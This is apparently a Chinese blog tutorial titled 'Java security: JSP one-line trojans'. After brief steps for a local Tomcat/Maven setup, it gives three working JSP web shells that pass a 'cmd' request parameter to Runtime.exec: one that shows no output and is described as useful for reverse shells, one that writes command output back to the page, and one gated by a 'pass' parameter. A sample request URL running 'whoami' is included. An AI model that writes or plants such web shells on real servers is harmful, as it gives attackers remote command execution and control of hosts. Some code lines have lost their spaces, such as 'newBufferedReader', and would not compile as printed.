java安全——jsp一句话木马

jsp回显一句话木马

文章目录

提示：以下是本篇文章正文内容，下面案例可供参考

一、搭建web服务

1、创建空白maven项目，搭建本地tomcat

2、引入servlet的pom依赖

二、无回显一句话

<%Process process =Runtime.getRuntime().exec(request.getParameter("cmd"));%>

http://localhost:8003/index.jsp?cmd=whoami
不会回显执行的结果只能在后台打印一个地址，常用来反弹shell

三、带回显一句话

代码如下（示例）：

<%Process process =Runtime.getRuntime().exec(request.getParameter("cmd"));//    System.out.println(process);InputStream inputStream = process.getInputStream();BufferedReader bufferedReader =newBufferedReader(newInputStreamReader(inputStream));String line;while((line = bufferedReader.readLine())!=null){
      response.getWriter().println(line);}%>

三、有密码带回显一句话

<%if("password".equals(request.getParameter("pass"))){Process process =Runtime.getRuntime().exec(request.getParameter("cmd"));//    System.out.println(process);InputStream inputStream = process.getInputStream();BufferedReader bufferedReader =newBufferedReader(newInputStreamReader(inputStream));String line;while((line = bufferedReader.readLine())!=null){
        response.getWriter().println(line);}}%>
